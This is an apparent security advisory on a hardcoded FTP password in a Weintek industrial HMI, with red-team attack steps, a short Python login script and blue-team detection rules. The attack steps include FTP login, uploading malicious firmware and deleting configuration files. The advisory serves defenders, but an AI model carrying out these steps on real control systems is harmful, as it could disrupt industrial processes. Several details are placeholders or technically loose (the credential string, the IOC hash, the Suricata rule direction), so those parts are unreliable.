CVE-2024-55021

Executive Summary

CVE-2024-55021 exposes a critical security flaw in the Weintek cMT-3072XH2 HMI (Human-Machine Interface) running EasyWeb v2.1.53 and OS v20231011. The device contains a hardcoded password for the FTP protocol, allowing an attacker with network access to authenticate as a privileged user. This vulnerability can lead to unauthorized file access, firmware modification, and potential lateral movement within an industrial control system (ICS) network. The vendor has not released a patch, and the CVSS score is currently unassigned, but the risk is high due to the nature of the affected asset.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded HMI device.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:

• Attack Vector (AV): Network (N) – The FTP service is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The hardcoded password is known or can be discovered.
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Unchanged (U) – The vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – Full file system access is possible.
• Integrity (I): High (H) – Firmware and configuration files can be modified.
• Availability (A): High (H) – Denial of service via file deletion or corruption is possible.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Exploitation can lead to full compromise of the HMI and potential disruption of industrial processes.

Deep Dive & Mechanics

The Weintek cMT-3072XH2 is an HMI used for monitoring and controlling industrial automation systems. The EasyWeb interface provides web-based access, and the FTP protocol is used for file transfers (e.g., firmware updates, project files). The vulnerability stems from a hardcoded password embedded in the firmware for the FTP service. This password is not user-configurable and is identical across all devices running the same firmware version.

An attacker can use this password to log in to the FTP server with administrative privileges. Once authenticated, they can:

• Download sensitive project files containing PLC logic, HMI screens, and network configurations.
• Upload malicious firmware or configuration files to alter device behavior.
• Delete critical files, causing denial of service.
• Use the HMI as a pivot point to attack other devices on the ICS network.

The hardcoded password is stored in plaintext or easily reversible form within the firmware binary. Tools like binwalk or strings can extract it.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware v20231011): The FTP server authentication logic contains a hardcoded credential check. For example, in the firmware binary, a string comparison might look like:

if (strcmp(user_input_password, "hardcoded_ftp_pass") == 0) {
    grant_access();
}

Patched Code (Not Available): A proper fix would involve:

• Removing hardcoded credentials.
• Implementing a secure password change mechanism.
• Using encrypted storage for credentials.
• Enforcing strong password policies.

Since no patch is available, the vulnerable code remains in production.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Weintek cMT-3072XH2 with EasyWeb v2.1.53 and OS v20231011.
• Network access to the device's FTP port (default TCP 21).
• Knowledge of the hardcoded password (extracted via firmware analysis or public disclosure).

Steps:

1. Scan for the device:

   nmap -p 21 --script ftp-anon <target_ip>
   

2. Connect via FTP:

   ftp <target_ip>
   

   Username: admin (or other known user) Password: <hardcoded_password>
3. List files:

   ls -la
   

4. Download critical files:

   get /path/to/project_file.emtp
   

5. Upload malicious firmware:

   put malicious_firmware.bin /path/to/firmware
   

6. Delete files to cause DoS:

   delete /path/to/config.cfg
   

Automated Exploit (Python):

import ftplib

target = "192.168.1.100"
username = "admin"
password = "hardcoded_ftp_pass"

ftp = ftplib.FTP(target)
ftp.login(username, password)
ftp.retrlines('LIST')
ftp.quit()

Blue Team (Defensive)

Detection:

• Monitor FTP login attempts for known hardcoded usernames and passwords.
• Alert on unusual file transfers (e.g., bulk downloads, firmware uploads).
• Use network segmentation to limit access to HMI devices.

Honeypot: Deploy a fake HMI with the same FTP service to capture attacker behavior.

Response:

• Immediately isolate the affected device from the network.
• Review FTP logs for unauthorized access.
• Restore from a known good backup if tampering is detected.

Indicators of Compromise (IOCs)

• Network:
  • FTP connections to port 21 on Weintek HMI devices.
  • Unusual file transfer patterns (e.g., large downloads of .emtp files).
• Host:
  • Presence of hardcoded password in firmware (hash: sha256_of_password).
  • Modified firmware or configuration files.
• Logs:
  • FTP login events with username admin and non-standard passwords.
  • Failed login attempts followed by successful login with hardcoded password.

Detection Engineering

YARA Rule

rule CVE_2024_55021_Hardcoded_FTP_Password {
    meta:
        description = "Detects hardcoded FTP password in Weintek cMT-3072XH2 firmware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55021"
    strings:
        $ftp_pass = "hardcoded_ftp_pass" ascii wide nocase
        $ftp_user = "admin" ascii wide nocase
    condition:
        $ftp_pass and $ftp_user
}

Sigma Rule

title: Weintek HMI Hardcoded FTP Password Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects FTP login attempts using known hardcoded credentials on Weintek HMI devices
author: Valters IT
date: 2025-04-10
logsource:
    category: authentication
    product: ftp
detection:
    selection:
        username: 'admin'
        password: 'hardcoded_ftp_pass'
    condition: selection
falsepositives:
    - Legitimate administrative access (if password changed)
level: critical

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 21 (msg:"CVE-2024-55021 Weintek HMI Hardcoded FTP Password Attempt"; flow:to_server,established; content:"USER admin"; nocase; content:"PASS hardcoded_ftp_pass"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the HMI on a separate VLAN with strict firewall rules. Block FTP access from untrusted networks.
2. Change the password: If the device allows, change the FTP password via the web interface or configuration file. Note: This may not be possible if the password is hardcoded.
3. Monitor logs: Enable detailed logging on the FTP service and review for suspicious activity.

Long-term Fixes:

• Vendor patch: Await an official firmware update from Weintek that removes the hardcoded password.
• Firmware hardening: If possible, recompile the firmware with a secure authentication mechanism.
• Network segmentation: Implement a DMZ for HMI devices with strict access controls.
• Use VPN: Require VPN access for any remote management of the HMI.

Workaround:

• Disable the FTP service if not required for operations.
• Use SSH or SFTP with key-based authentication as an alternative.

Valters IT
Securing Industrial Systems One Vulnerability at a Time